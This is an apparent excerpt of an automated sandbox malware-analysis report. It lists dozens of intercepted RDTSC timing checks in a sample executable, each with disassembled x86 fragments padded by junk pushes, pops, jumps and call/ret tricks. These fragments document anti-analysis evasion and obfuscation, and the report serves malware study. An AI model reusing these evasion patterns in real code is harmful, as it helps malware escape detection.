Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CD0E4 second address: 2CD0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007F8080B8A77Ch 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CD0FC second address: 2CD166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F8080FFFC58h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 or edi, dword ptr [ebp+122D2C7Fh] 0x00000027 push 00000000h 0x00000029 jmp 00007F8080FFFC5Eh 0x0000002e push 00000000h 0x00000030 mov edi, 09A9340Ah 0x00000035 push eax 0x00000036 jl 00007F8080FFFC76h 0x0000003c pushad 0x0000003d jmp 00007F8080FFFC68h 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CECA7 second address: 2CECAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CECAC second address: 2CECB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8080FFFC56h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CF269 second address: 2CF285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A788h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CF285 second address: 2CF2B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8080FFFC5Dh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F8080FFFC85h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8080FFFC64h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CFDB3 second address: 2CFE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnc 00007F8080B8A776h 0x0000000c pop esi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 mov dword ptr [ebp+122D2120h], ebx 0x00000017 mov edi, 3CEA03AEh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F8080B8A778h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 sub dword ptr [ebp+122D1999h], esi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F8080B8A778h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a mov esi, dword ptr [ebp+122D2AD7h] 0x00000060 xchg eax, ebx 0x00000061 jmp 00007F8080B8A783h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F8080B8A784h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D2566 second address: 2D256C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D256C second address: 2D2570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D2570 second address: 2D257E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D444B second address: 2D444F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D75B2 second address: 2D7626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8080FFFC5Fh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F8080FFFC58h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D1C32h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F8080FFFC58h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e add bh, FFFFFFC5h 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 pop edi 0x00000057 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D7626 second address: 2D7634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8080B8A776h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DA33F second address: 2DA344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DA344 second address: 2DA351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DB4CA second address: 2DB4D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DC43C second address: 2DC441 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DC441 second address: 2DC4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, 688D3220h 0x0000000f or edi, dword ptr [ebp+122D2C9Fh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F8080FFFC58h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D3221h], ebx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F8080FFFC58h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push edx 0x00000058 pop edx 0x00000059 jmp 00007F8080FFFC67h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DC4C5 second address: 2DC4CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DE5B5 second address: 2DE5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DE5BB second address: 2DE5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DE5C0 second address: 2DE5CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F8080FFFC56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DF68A second address: 2DF6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A783h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E05AF second address: 2E061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F8080FFFC56h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f adc di, E90Dh 0x00000014 jmp 00007F8080FFFC5Ch 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F8080FFFC58h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F8080FFFC58h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 sub dword ptr [ebp+122D1A08h], ebx 0x00000057 xchg eax, esi 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E061E second address: 2E0622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E0622 second address: 2E0643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007F8080FFFC5Ch 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E5827 second address: 2E582B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E582B second address: 2E5831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E5831 second address: 2E5835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E9B45 second address: 2E9B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 je 00007F8080FFFC56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E932E second address: 2E9332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E9332 second address: 2E9338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E9338 second address: 2E9355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8080B8A77Dh 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F8080B8A776h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E94C1 second address: 2E951B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F8080FFFC5Fh 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 push edi 0x00000011 jmp 00007F8080FFFC5Bh 0x00000016 jmp 00007F8080FFFC61h 0x0000001b pop edi 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007F8080FFFC66h 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007F8080FFFC56h 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E951B second address: 2E955C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8080B8A77Bh 0x00000010 jmp 00007F8080B8A787h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E96E4 second address: 2E970D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC5Bh 0x00000009 pop ebx 0x0000000a jnl 00007F8080FFFC64h 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E970D second address: 2E971B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 ja 00007F8080B8A776h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E971B second address: 2E9721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2ECCAB second address: 2ECCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F2214 second address: 2F221A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F23F8 second address: 2F23FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F23FC second address: 2F2420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F8080FFFC5Eh 0x0000000e jl 00007F8080FFFC58h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007F8080FFFC56h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F2420 second address: 2F242A instructions: 0x00000000 rdtsc 0x00000002 je 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D26B3 second address: 2D26B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D26B7 second address: 2D26BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D26BD second address: 2D26C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D26C1 second address: 2D2746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, ebx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F8080B8A778h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e push ecx 0x0000002f mov dword ptr [ebp+12449DFAh], ecx 0x00000035 pop ebx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov bh, al 0x0000003f mov eax, dword ptr [ebp+122D0C6Dh] 0x00000045 and di, 8D45h 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F8080B8A778h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 00000019h 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 xor ebx, 3D6E0123h 0x0000006c or dword ptr [ebp+122D2951h], esi 0x00000072 push eax 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 pop ecx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D2746 second address: 2D274A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F25A3 second address: 2F25AD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8080B8A77Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F25AD second address: 2F25BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F25BC second address: 2F25EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F8080B8A786h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8080B8A77Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D36EA second address: 2D36EF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D37B8 second address: 2D37BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D5722 second address: 2D5726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D67D1 second address: 2D67DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8080B8A776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D67DB second address: 2D67F4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8080FFFC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F8080FFFC56h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F6646 second address: 2F664C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F664C second address: 2F665E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F665E second address: 2F6662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F679E second address: 2F67A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D8663 second address: 2D86EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8080B8A784h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D1C3Bh], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov edi, dword ptr [ebp+122D1808h] 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov eax, dword ptr [ebp+122D0759h] 0x0000002e mov ebx, dword ptr [ebp+122D18A1h] 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F8080B8A778h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 or dword ptr [ebp+12462673h], esi 0x00000056 nop 0x00000057 pushad 0x00000058 jmp 00007F8080B8A786h 0x0000005d push eax 0x0000005e push edx 0x0000005f push edi 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2D86EA second address: 2D870F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jnp 00007F8080FFFC56h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8080FFFC62h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F6B9E second address: 2F6BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2F6BA2 second address: 2F6BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F8080FFFC56h 0x0000000f jng 00007F8080FFFC56h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC77 second address: 28DC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC7B second address: 28DC81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC81 second address: 28DC86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC86 second address: 28DC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC8C second address: 28DC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DC94 second address: 28DCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8080FFFC56h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007F8080FFFC63h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DCC1 second address: 28DCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
